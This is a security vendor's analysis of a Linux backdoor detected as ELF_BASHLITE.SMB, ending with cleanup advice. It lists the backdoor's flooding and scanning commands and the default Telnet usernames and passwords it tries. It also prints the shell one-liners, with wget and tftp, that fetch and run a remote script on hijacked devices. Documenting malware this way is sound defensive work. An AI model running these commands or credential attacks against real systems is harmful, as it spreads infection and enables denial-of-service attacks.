Analysis by: Rhena Inocencio
ALIASES:

Linux/Agent.AL (ESET)

 PLATFORM:

Linux, UNIX

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Backdoor

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes commands from a remote malicious user, effectively compromising the affected system.

  TECHNICAL DETAILS

File Size: Varies
File Type: ELF
Memory Resident: Yes
Initial Samples Received Date: 13 Oct 2014
Payload: Executes files

Arrival Details

This backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

This malware arrives via the following means:

Backdoor Routine

This backdoor executes the following commands from a remote malicious user:

  • GETLOCALIP - Get local IP address
  • SCANNER ON - Start Telnet scanner
  • SCANNER OFF - Stop Telnet scanner
  • HOLD - Pause or delay attack for specifiied duration
  • BOTKILL - Terminate a process by process name
  • UDP - Perform UDP flooding
  • TCP - Perform TCP flooding
  • KILLATTK - Terminate attack thread
  • LOLNOGTFO - Terminate itself
  • DNS
  • JUNK
  • GETFLOOD
  • PING

It connects to the following URL(s) to send and receive commands from a remote malicious user:

  • {BLOCKED}.{BLOCKED}.93.52:3333
  • {BLOCKED}3.{BLOCKED}4.93.52:300
  • {BLOCKED}3.{BLOCKED}4.93.52:1000

NOTES:

If the command SCANNER ON is received, the Telnet forked process will attempt to connect to port 23 of randomly generated IP address to check it can remotely login using Telnet. Once a connection is successful, it attempts to log into the remote computer using the following credentials:

User names:

  • root
  • admin
  • support

Passwords:

  • root
  • admin
  • 12345
  • pass
  • password
  • support
  • toor
  • 123456

If it was able to successfully log into the system, it sends the following commands to download and execute a file in the remote computer:

  • cd /tmp; busybox wget http://{BLOCKED}9.{BLOCKED}3.37.115/.{BLOCKED}ggers/bin.sh; busybox tftp -r bin.sh -g 69.163.37.115;sh bin.sh; echo -e '\x62\x69\x6e\x66\x61\x67\x74'
  • cd /tmp/; busybox wget http://{BLOCKED}6.{BLOCKED}0.250.37/.{BLOCKED}ggers/bin2.sh; busybox tftp -r bin2.sh -g 176.10.250.37; sh bin2.sh; echo -e '\x62\x69\x6e\x66\x61\x67\x74'

  SOLUTION

Minimum Scan Engine: 9.700

Restart in normal mode and scan your computer with your Trend Micro product for files detected as ELF_BASHLITE.SMB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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